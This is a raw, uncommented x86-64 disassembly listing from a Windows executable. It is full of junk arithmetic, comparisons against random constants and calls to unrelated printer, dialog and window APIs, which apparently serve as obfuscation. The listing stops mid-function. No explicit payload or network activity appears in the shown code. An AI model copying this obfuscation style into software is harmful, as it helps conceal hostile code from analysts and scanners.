mov byte [rbp + 0x3727], al
movzx eax, byte [rbp + 0x4fd7]
mov edx, eax
movzx eax, byte [rbp + 0x3727]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x24c10]
mov byte [rax], dl
mov ecx, dword [rbp + 0x473c]
mov rax, qword [rbp + 0x25538]
mov edx, dword [rax]
mov rax, qword [rbp + 0x7c0]
sub ecx, edx
mov dword [rax], ecx
cmp dword [rbp + 0x255b0], 0x4233
jbe 0x14000936e
mov rdx, qword [rbp + 0x2af0]
mov rax, qword [rbp + 0x4bf8]
add rax, rdx
mov qword [rbp + 0x6b30], rax
jmp 0x1400099fc
mov rax, qword [rbp + 0x24c78]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1dc8]
sub edx, eax
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
mov rax, qword [rbp + 0x25510]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x43a0]
sub rdx, rax
mov qword [rbp + 0x3680], rdx
mov rax, qword [rbp + 0x255a0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1a8c]
xor eax, edx
mov word [rbp + 0xbf4], ax
movzx eax, word [rbp + 0x42b2]
movsx edx, ax
mov rax, qword [rbp + 0x25548]
movzx eax, word [rax]
cwde
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25600]
mov word [rax], dx
movzx eax, byte [rbp + 0x6b7]
movzx edx, al
movzx eax, byte [rbp + 0x7515]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
mov rax, qword [rbp + 0xc80]
movzx edx, word [rax]
mov rax, qword [rbp + 0x255a0]
movzx eax, word [rax]
or eax, edx
mov word [rbp + 0xbf4], ax
mov rax, qword [rbp + 0x25600]
movzx edx, word [rax]
movzx eax, word [rbp + 0x638]
and eax, edx
mov word [rbp + 0x42b2], ax
mov rax, qword [rbp + 0x24c70]
mov edx, dword [rax]
mov eax, dword [rbp + 0x78ec]
add eax, edx
mov dword [rbp + 0x1dc8], eax
mov rax, qword [rbp + 0xbc8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x43a0]
add rax, rdx
mov qword [rbp + 0x3680], rax
mov rax, qword [rbp + 0x25508]
mov edx, dword [rax]
mov eax, dword [rbp + 0x210c]
and edx, eax
mov rax, qword [rbp + 0x25538]
mov dword [rax], edx
mov rax, qword [rbp + 0x24bf0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x7280]
sub rdx, rax
mov rax, qword [rbp + 0x255d8]
mov qword [rax], rdx
mov rax, qword [rbp + 0x25630]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x4fd7]
add eax, edx
mov byte [rbp + 0x3727], al
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
movzx edx, byte [rbp + 0x1b37]
sub eax, edx
mov byte [rbp + 0x7515], al
add dword [rbp + 0x25664], 0x7a
movzx eax, byte [rbp + 0x3727]
mov edx, eax
movzx eax, byte [rbp + 0x3a0b]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25630]
mov byte [rax], dl
mov rax, qword [rbp + 0x25600]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x25548]
movzx eax, word [rax]
add eax, edx
mov word [rbp + 0x6a1e], ax
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x7515]
or edx, eax
mov rax, qword [rbp + 0x24c60]
mov byte [rax], dl
mov rax, qword [rbp + 0x254f8]
mov r8d, dword [rax]
mov rax, qword [rbp + 0x24c70]
mov edx, dword [rax]
mov rax, qword [rbp + 0x1540]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x7c0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2978]
xor eax, edx
mov dword [rbp + 0x210c], eax
mov rax, qword [rbp + 0x3680]
mov rdx, qword [rbp + 0x43a0]
mov ecx, edx
sar rax, cl
mov rdx, rax
mov rax, qword [rbp + 0x25510]
mov qword [rax], rdx
mov rax, qword [rbp + 0x24c00]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x24bf0]
mov rax, qword [rax]
and rdx, rax
mov rax, qword [rbp + 0x24c00]
mov qword [rax], rdx
mov rax, qword [rbp + 0x24c10]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3a0b]
add eax, edx
mov byte [rbp + 0x4fd7], al
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1b37]
add edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
mov rax, qword [rbp + 0x255a0]
movzx edx, word [rax]
movzx ecx, word [rbp + 0xbf4]
mov rax, qword [rbp + 0xc80]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x25548]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x25600]
movzx eax, word [rax]
add eax, edx
mov word [rbp + 0x6a1e], ax
mov rax, qword [rbp + 0xc80]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x1a8c]
mov rax, qword [rbp + 0xc80]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x25510]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x43a0]
add rax, rdx
mov qword [rbp + 0x3680], rax
mov edx, dword [rbp + 0x78ec]
mov eax, dword [rbp + 0x1dc8]
sub edx, eax
mov dword [rbp + 0x1068], edx
mov rax, qword [rbp + 0x25538]
mov eax, dword [rax]
mov dword [rbp + 0x2978], eax
mov rdx, qword [rbp + 0x4bf8]
mov rax, qword [rbp + 0x2af0]
sub rdx, rax
mov qword [rbp + 0x7280], rdx
movzx eax, word [rbp + 0x6a1e]
mov edx, eax
mov rax, qword [rbp + 0x25600]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x1a86], ax
cmp dword [rbp + 0x25664], 0x4335
jbe 0x1400096a7
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x254c8]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
mov eax, dword [rbp + 0x4b38]
test eax, eax
jne 0x140009a95
movzx eax, word [rbp + 0xbf4]
mov word [rbp + 0x7ee], ax
mov rax, qword [rbp + 0x25630]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x24c10]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x1b28]
mov byte [rax], dl
lea rax, [rbp + 0x638]
mov qword [rbp + 0x25608], rax
mov eax, dword [rbp + 0x66d0]
mov dword [rbp + 0x1b1c], eax
jmp 0x140009b41
lea rdx, [rbp + 0xc80]
mov rax, qword [rbp + 0x25488]
mov r8, rdx
lea rdx, [fcn.14015b610]
mov rcx, rax
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rbp + 0x24c88], eax
movzx eax, word [rbp + 0x6a1e]
cwde
cmp eax, 0x7bae
jne 0x140009b05
mov rax, qword [rbp + 0x255d0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2af0]
or rdx, rax
mov rax, qword [rbp + 0x24bf0]
mov qword [rax], rdx
mov rax, qword [rbp + 0x25510]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x43a0]
xor rax, rdx
mov qword [rbp + 0x3680], rax
jmp 0x140009b40
movzx eax, byte [rbp + 0x6b7]
movzx ecx, al
movzx eax, byte [rbp + 0x6b7]
movzx r9d, al
movzx eax, byte [rbp + 0x6b7]
movzx r8d, al
mov rdx, qword [rbp + 0x43a0]
mov rax, qword [rbp + 0x3680]
mov dword [rsp + 0x20], ecx
mov rcx, rax
call fcn.140001450
nop
nop
mov rax, qword [rbp + 0x254f8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1dc8]
and edx, eax
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
mov eax, dword [rbp + 0x2978]
cmp eax, 0xe0a5353a
jne 0x140009be4
mov rax, qword [rbp + 0x25630]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3727]
add eax, edx
mov byte [rbp + 0x3a0b], al
lea rax, [rbp + 0x2a50]
mov rcx, rax
mov rax, qword [sym.imp.comdlg32.dll_ChooseColorA]
call rax
mov dword [rbp + 0x24c88], eax
mov rax, qword [rbp + 0x254c8]
movzx eax, byte [rax]
movzx ecx, al
movzx eax, byte [rbp + 0x6b7]
movzx r9d, al
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
movzx r8d, al
mov rdx, qword [rbp + 0x43a0]
mov rax, qword [rbp + 0x25510]
mov rax, qword [rax]
mov dword [rsp + 0x20], ecx
mov rcx, rax
call fcn.140001450
jmp 0x14015a82d
movzx eax, word [rbp + 0x6a1e]
mov edx, eax
movzx eax, word [rbp + 0x638]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x1a86], ax
mov rax, qword [rbp + 0xc80]
movzx edx, word [rax]
mov rax, qword [rbp + 0x255a0]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x6ad6], ax
mov rax, qword [rbp + 0x24c40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x66d0]
add edx, eax
mov rax, qword [rbp + 0x25538]
mov ecx, dword [rax]
mov eax, dword [rbp + 0x210c]
and eax, ecx
cmp eax, edx
jb 0x14015a74a
mov rax, qword [rbp + 0x255d0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x255d8]
mov rax, qword [rax]
imul rdx, rax
mov rcx, qword [rbp + 0x6b30]
mov rax, qword [rbp + 0x4bf8]
and rax, rcx
cmp rdx, rax
jae 0x140009e18
mov rax, qword [rbp + 0x25670]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x254c8]
movzx eax, byte [rax]
movzx eax, al
mov ecx, edx
sub ecx, eax
movzx eax, byte [rbp + 0x1b37]
movzx edx, al
movzx eax, byte [rbp + 0x6b7]
movzx eax, al
sub edx, eax
cmp ecx, edx
jg 0x140009e18
mov rax, qword [rbp + 0x2af0]
test rax, rax
je 0x140009cdc
movabs rdx, 0xef6a0d60829f875c
cmp rax, rdx
je 0x140009dfb
jmp 0x140009e18
mov rax, qword [rbp + 0x24bf0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x24c00]
mov rax, qword [rax]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x255d8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2af0]
sub rdx, rax
cmp rcx, rdx
jae 0x140009e17
mov rdx, qword [rbp + 0x25590]
mov rax, qword [rbp + 0x25590]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.comdlg32.dll_GetFileTitleA]
call rax
mov word [rbp + 0x5242], ax
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax]
cmp eax, 0x1d7b27a2
je 0x140009d58
cmp eax, 0x55bcf22d
je 0x140009dd3
jmp 0x140009e17
mov rax, qword [rbp + 0xc80]
movzx ecx, word [rax]
movzx edx, word [rbp + 0xbf4]
mov rax, qword [rbp + 0xc80]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x1b28]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3a0b]
add eax, edx
mov byte [rbp + 0x4fd7], al
movzx eax, byte [rbp + 0x6b7]
movzx ecx, al
mov rax, qword [rbp + 0x25548]
movzx eax, word [rax]
movsx r9d, ax
mov rax, qword [rbp + 0x254f8]
mov r8d, dword [rax]
mov rdx, qword [rbp + 0x4bf8]
mov rax, qword [rbp + 0x254c8]
movzx eax, byte [rax]
movzx eax, al
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.14015b080
jmp 0x140009df9
lea rax, [rbp + 0x1a86]
mov r8d, 0x89
mov rdx, rax
mov ecx, 0x22
mov rax, qword [sym.imp.USER32.dll_CharNextExA]
call rax
mov qword [rbp + 0x25590], rax
nop
jmp 0x140009e17
movzx edx, word [rbp + 0x3494]
movzx eax, word [rbp + 0x42b2]
and edx, eax
mov rax, qword [rbp + 0x25548]
mov word [rax], dx
jmp 0x140009e18
nop
lea rax, [rbp + 0x1a8c]
mov qword [rbp + 0x42c0], rax
movzx eax, word [rbp + 0x7ee]
movzx edx, ax
mov rax, qword [rbp + 0xc80]
movzx eax, word [rax]
movzx eax, ax
sub edx, eax
mov rax, qword [rbp + 0x42c0]
movzx ecx, word [rax]
movzx eax, word [rbp + 0x1a8c]
xor eax, ecx
movzx eax, ax
cmp edx, eax
jge 0x140009e8e
movzx edx, byte [rbp + 0x6b7]
movzx eax, byte [rbp + 0x7515]
or eax, edx
mov byte [rbp + 0x1b37], al
mov rax, qword [rbp + 0x7c0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2978]
add edx, eax
mov rax, qword [rbp + 0x255f0]
mov dword [rax], edx
jmp 0x14015a707
mov rax, qword [rbp + 0x255d8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x7280]
and rax, rdx
mov qword [rbp + 0x2af0], rax
lea rax, [rbp + 0x43a0]
mov qword [rbp + 0x24bd0], rax
mov rax, qword [rbp + 0x255d0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x6b30]
mov rcx, rdx
imul rcx, rax
mov rdx, qword [rbp + 0x2af0]
mov rax, qword [rbp + 0x4bf8]
sub rdx, rax
cmp rcx, rdx
jae 0x140009fd3
mov rax, qword [rbp + 0x42c0]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x34b
je 0x140009f09
cmp eax, 0x5ba
je 0x140009f13
jmp 0x140009fd3
call fcn.14015bd61
jmp 0x140009fd3
lea r8, [rbp + 0x1b37]
lea rcx, [rbp + 0x3840]
lea rdx, [rbp + 0x2d70]
mov rax, qword [rbp + 0x24bc8]
mov r9, r8
mov r8, rcx
mov rcx, rax
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [rbp + 0x24c1c], eax
mov rax, qword [rbp + 0xbc8]
mov rax, qword [rax]
movabs rdx, 0x3fbbef4a844c6261
cmp rax, rdx
je 0x140009fb7
movabs rdx, 0x524797a163a29edc
cmp rax, rdx
jne 0x140009fd2
mov ecx, dword [rbp + 0x3784]
mov edx, dword [rbp + 0x78ec]
mov rax, qword [rbp + 0x1540]
add edx, ecx
mov dword [rax], edx
movzx eax, word [rbp + 0x5242]
mov edx, eax
movzx eax, word [rbp + 0x6a1e]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x3494], ax
mov rdx, qword [rbp + 0x3680]
mov rax, qword [rbp + 0x3680]
mov rcx, rax
call fcn.14015b610
jmp 0x140009fd2
movzx ecx, word [rbp + 0x6ad6]
movzx edx, word [rbp + 0x4cb6]
mov rax, qword [rbp + 0x42c0]
add edx, ecx
mov word [rax], dx
nop
nop
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1b1c]
lea ecx, [rdx + rax]
mov edx, dword [rbp + 0x66d0]
mov eax, dword [rbp + 0x473c]
sub edx, eax
cmp ecx, edx
jae 0x14000a098
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
movzx eax, al
cmp eax, 0x22
je 0x14000a017
cmp eax, 0x71
je 0x14000a06b
jmp 0x14000a219
movzx eax, byte [rbp + 0x3a0b]
movsx edx, al
mov rax, qword [rbp + 0x25630]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov byte [rbp + 0x3727], al
lea rdx, [rbp + 0x5be0]
mov rax, qword [rbp + 0x24c80]
mov r9d, 0x8c
mov r8, rdx
lea rdx, [fcn.14015b610]
mov rcx, rax
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rbp + 0x24c5c], eax
jmp 0x14000a219
mov rax, qword [rbp + 0x254c8]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x1b37]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x25670]
mov byte [rax], dl
jmp 0x14000a219
movzx eax, byte [rbp + 0x3727]
movsx edx, al
movzx eax, byte [rbp + 0x4fd7]
movsx eax, al
add edx, eax
mov rax, qword [rbp + 0x1b28]
movzx ecx, byte [rax]
movzx eax, byte [rbp + 0x3a0b]
and eax, ecx
movsx eax, al
cmp edx, eax
jne 0x14000a219
mov rax, qword [rbp + 0x24c60]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1b37]
or eax, edx
mov byte [rbp + 0x7515], al
mov rax, qword [rbp + 0x25608]
movzx edx, word [rax]
movzx eax, word [rbp + 0x5242]
xor eax, edx
mov word [rbp + 0x3494], ax
mov eax, dword [rbp + 0x4b38]
mov dword [rbp + 0x6c4], eax
mov rax, qword [rbp + 0x254f8]
mov eax, dword [rax]
cmp eax, 0x154213d9
je 0x14000a12b
cmp eax, 0x4ffc1808
je 0x14000a1f3
jmp 0x14000a219
mov eax, dword [rbp + 0x2978]
cmp eax, 0x8552eba2
je 0x14000a148
cmp eax, 0x8e34823e
je 0x14000a1d4
jmp 0x14000a219
mov rax, qword [rbp + 0x24c20]
mov rcx, rax
call sub.WINSPOOL.DRV_AbortPrinter
mov dword [rbp + 0x56f8], eax
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x66d0]
add eax, edx
mov dword [rbp + 0x473c], eax
mov rax, qword [rbp + 0x24c00]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x7280]
add rdx, rax
mov rax, qword [rbp + 0x255d0]
mov qword [rax], rdx
mov r8d, 1
mov edx, 0x16
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_AttachThreadInput]
call rax
mov dword [rbp + 0x24bc4], eax
mov rax, qword [rbp + 0x25510]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xbc8]
mov rax, qword [rax]
and rdx, rax
mov rax, qword [rbp + 0x24c08]
mov qword [rax], rdx
jmp 0x14000a1f1
movzx eax, byte [rbp + 0x3727]
mov edx, eax
movzx eax, byte [rbp + 0x3a0b]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x4fd7], al
nop
jmp 0x14000a219
mov rax, qword [rbp + 0x254b0]
mov r8d, 0x67
mov edx, 0xa3
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SetClassWord]
call rax
mov word [rbp + 0x1a8c], ax
nop
mov rax, qword [rbp + 0x42c0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x6ad6]
add eax, edx
mov word [rbp + 0x7ee], ax
lea rax, [rbp + 0x6b7]
mov qword [rbp + 0x4710], rax
mov rax, qword [rbp + 0x42c0]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x255a0]
movzx eax, word [rax]
movzx eax, ax
mov ecx, edx
sub ecx, eax
mov rax, qword [rbp + 0xc80]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x1a8c]
movzx eax, ax
add eax, edx
cmp ecx, eax
jl 0x14015a5eb
mov edx, dword [rbp + 0x78ec]
mov rax, qword [rbp + 0x24c78]
mov eax, dword [rax]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [rbp + 0x1dc8], eax
mov rax, qword [rbp + 0x24c10]
movzx eax, byte [rax]
movsx eax, al
cmp eax, 0x58
je 0x14000a3b6
cmp eax, 0x6a
jne 0x14000a3f5
mov rax, qword [rbp + 0x24bd0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x43a0]
and rax, rdx
mov qword [rbp + 0x3680], rax
mov rdx, qword [rbp + 0x7280]
mov rax, qword [rbp + 0x6b30]
sub rdx, rax
mov rax, qword [rbp + 0x24be0]
mov qword [rax], rdx
mov rax, qword [rbp + 0xbc8]
mov rax, qword [rax]
movabs rdx, 0x3d2097ee287ad2db
cmp rax, rdx
je 0x14000a33e
movabs rdx, 0x532a56b472f45e3f
cmp rax, rdx
jne 0x14000a37a
mov rax, qword [rbp + 0x24bb8]
mov r8d, 0xd8
mov edx, 0xd3
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_RemoveMenu]
call rax
mov dword [rbp + 0x56f8], eax
jmp 0x14000a37a
movzx eax, word [rbp + 0x1a86]
mov edx, eax
movzx eax, word [rbp + 0x3494]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25600]
mov word [rax], dx
mov rax, qword [rbp + 0x254c8]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x6b7]
and eax, edx
mov byte [rbp + 0x7515], al
nop
movzx eax, byte [rbp + 0x1b37]
movzx ecx, al
movzx eax, byte [rbp + 0x1b37]
movzx r9d, al
movzx eax, byte [rbp + 0x1b37]
movzx r8d, al
mov rdx, qword [rbp + 0x3680]
mov rax, qword [rbp + 0x3680]
mov dword [rsp + 0x20], ecx
mov rcx, rax
call fcn.140001450
jmp 0x14000a3f5
mov rax, qword [rbp + 0x42c0]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x255a0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x42c0]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x24c10]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x25630]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x3727], al
nop
mov eax, dword [rbp + 0x1b1c]
test eax, eax
je 0x14000a40b
cmp eax, 0xeaa7068c
je 0x14000a464
jmp 0x14000a4ae
mov rax, qword [rbp + 0x255a0]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0xd23
jne 0x14000a461
mov rax, qword [rbp + 0x1f20]
mov edx, 0xd
mov rcx, rax
call sub.WINSPOOL.DRV_ScheduleJob
mov dword [rbp + 0x24bc4], eax
movzx eax, byte [rbp + 0x7515]
movzx ecx, al
mov rax, qword [rbp + 0xbc8]
mov rdx, qword [rax]
movzx eax, word [rbp + 0x42b2]
cwde
mov r8d, ecx
mov ecx, eax
call fcn.140001729
jmp 0x14000a462
nop
jmp 0x14000a4ae
mov rax, qword [rbp + 0x25548]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x1a86]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25608]
mov word [rax], dx
mov rax, qword [rbp + 0x24bb0]
mov r8d, 0x73
mov edx, 0xd4
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_CheckMenuItem]
call rax
mov dword [rbp + 0x2978], eax
nop
mov rax, qword [rbp + 0x254c8]
movzx eax, byte [rax]
movzx eax, al
test eax, eax
je 0x14000a5e6
cmp eax, 0xd9
jne 0x14015a5b1
mov rax, qword [rbp + 0x25630]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3a0b]
or eax, edx
movsx edx, al
mov rax, qword [rbp + 0x1b28]
movzx eax, byte [rax]
movsx r8d, al
movzx eax, byte [rbp + 0x3727]
movsx eax, al
mov ecx, eax
sar r8d, cl
mov eax, r8d
cmp edx, eax
jne 0x14000a593
mov rax, qword [rbp + 0x1540]
mov eax, dword [rax]
cmp eax, 0x66f08318
jne 0x14000a572
lea rdx, [rbp + 0x3544]
mov rax, qword [rbp + 0x24bf8]
mov r9d, 1
mov r8, rdx
mov edx, 0xc9
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetDlgItemInt]
call rax
mov dword [rbp + 0x1b1c], eax
movzx eax, byte [rbp + 0x1b37]
movzx ecx, al
mov rax, qword [rbp + 0x25510]
mov rdx, qword [rax]
movzx eax, word [rbp + 0x3494]
cwde
mov r8d, ecx
mov ecx, eax
call fcn.140001729
jmp 0x14000a593
mov rax, qword [rbp + 0x7280]
mov rdx, qword [rbp + 0x2af0]
mov ecx, edx
shl rax, cl
mov rdx, rax
mov rax, qword [rbp + 0x24c00]
mov qword [rax], rdx
nop
mov rax, qword [rbp + 0x24c70]
mov edx, dword [rax]
mov eax, dword [rbp + 0x6c4]
xor eax, edx
mov dword [rbp + 0x78ec], eax
lea rax, [rbp + 0xd80]
mov rcx, rax
mov rax, qword [sym.imp.comdlg32.dll_ReplaceTextA]
call rax
mov qword [rbp + 0x255f8], rax
mov rax, qword [rbp + 0x25600]
movzx edx, word [rax]
movzx eax, word [rbp + 0x42b2]
and edx, eax
mov rax, qword [rbp + 0x25608]
mov word [rax], dx
jmp 0x14015a5b1
mov edx, dword [rbp + 0x6c4]
mov rax, qword [rbp + 0x1540]
mov eax, dword [rax]
mov ecx, edx
sub ecx, eax
mov edx, dword [rbp + 0x4b38]
mov rax, qword [rbp + 0x24c70]
mov eax, dword [rax]
sub edx, eax
cmp ecx, edx
jne 0x14015a591
mov eax, dword [rbp + 0x4b38]
test eax, eax
je 0x14000a62c
cmp eax, 0x757bd1a7
je 0x14015a503
jmp 0x14015a578
mov rax, qword [rbp + 0x25670]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x254c8]
movzx eax, byte [rax]
and eax, edx
movzx ecx, al
mov rax, qword [rbp + 0x24c60]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x4710]
movzx eax, byte [rax]
movzx eax, al
sub edx, eax
cmp ecx, edx
jl 0x14000a733
lea rax, [rbp + 0x4fd7]
mov qword [rbp + 0x25638], rax
mov rax, qword [rbp + 0x25630]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x4fd7]
add eax, edx
mov byte [rbp + 0x3727], al
mov rax, qword [rbp + 0x254f8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x24c78]
mov eax, dword [rax]
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x24c70]
mov dword [rax], edx
mov rax, qword [rbp + 0x24c10]
movzx eax, byte [rax]
movsx eax, al
cmp eax, 0x52
jne 0x14000a707
mov rax, qword [rbp + 0x24c00]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x24be0]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, rdx
mov qword [rbp + 0x7280], rax
mov rax, qword [rbp + 0x25508]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2978]
xor edx, eax
mov rax, qword [rbp + 0x255f0]
mov dword [rax], edx
call fcn.14015bd61
jmp 0x14000a753
lea rax, [rbp + 0x43a0]
mov qword [rbp + 0x25588], rax
mov rax, qword [rbp + 0x24c60]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x254c8]
movzx eax, byte [rax]
or eax, edx
mov byte [rbp + 0x1b37], al
jmp 0x14000a753
lea rdx, [rbp + 0x2650]
mov rax, qword [rbp + 0x254b0]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call rax
mov dword [rbp + 0x60c4], eax
mov eax, dword [rbp + 0x1dc8]
cmp eax, 0x53b5993
je 0x14000a770
cmp eax, 0x96c720b
je 0x14000a81d
jmp 0x14000a85e
mov rax, qword [rbp + 0x2af0]
movabs rdx, 0x90ea2a5cb8dc1f6
cmp rax, rdx
je 0x14000a7fa
movabs rdx, 0xcb07edde2f161896
cmp rax, rdx
jne 0x14000a85d
mov rax, qword [rbp + 0x25608]
movzx edx, word [rax]
movzx eax, word [rbp + 0x6a1e]
and edx, eax
mov rax, qword [rbp + 0x25548]
mov word [rax], dx
mov rax, qword [rbp + 0xc80]
movzx edx, word [rax]
mov rax, qword [rbp + 0x255a0]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x1a8c], ax
mov rax, qword [rbp + 0x24c10]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x25638]
movzx eax, byte [rax]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x24c10]
mov byte [rax], dl
jmp 0x14000a81b
movzx eax, word [rbp + 0x5242]
mov edx, eax
mov rax, qword [rbp + 0x25600]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x42b2], ax
nop
jmp 0x14000a85d
mov rax, qword [rbp + 0x254a0]
mov r8d, 0x8e
mov edx, 0x7c
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SetClassLongA]
call rax
mov dword [rbp + 0x60c4], eax
mov rax, qword [rbp + 0x25658]
mov edx, dword [rax]
mov eax, dword [rbp + 0x60c4]
add edx, eax
mov rax, qword [rbp + 0x24c40]
mov dword [rax], edx
jmp 0x14000a85e
nop
mov rdx, qword [rbp + 0x43a0]
movabs rax, 0x1fc2e269afb5affe
cmp rdx, rax
jne 0x14000a908
mov rax, qword [rbp + 0x255f0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x66d0]
xor edx, eax
mov r8d, edx
mov edx, dword [rbp + 0x60c4]
mov eax, dword [rbp + 0x2978]
mov ecx, eax
shl edx, cl
mov eax, edx
cmp r8d, eax
je 0x14000a8fe
movzx eax, word [rbp + 0x3494]
mov edx, eax
movzx eax, word [rbp + 0x42b2]
add eax, edx
mov word [rbp + 0x1a86], ax
lea rdx, [rbp + 0x3b40]
mov rax, qword [rbp + 0x24bf8]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ClientToScreen]
call rax
mov dword [rbp + 0x24bac], eax
movzx edx, word [rbp + 0x6ad6]
mov rax, qword [rbp + 0x255a0]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x42c0]
sub edx, ecx
mov word [rax], dx
jmp 0x14015a3b6
call fcn.14015bd61
jmp 0x14015a3b6
movzx eax, byte [rbp + 0x4fd7]
movsx edx, al
movzx eax, byte [rbp + 0x3a0b]
movsx eax, al
mov ecx, edx
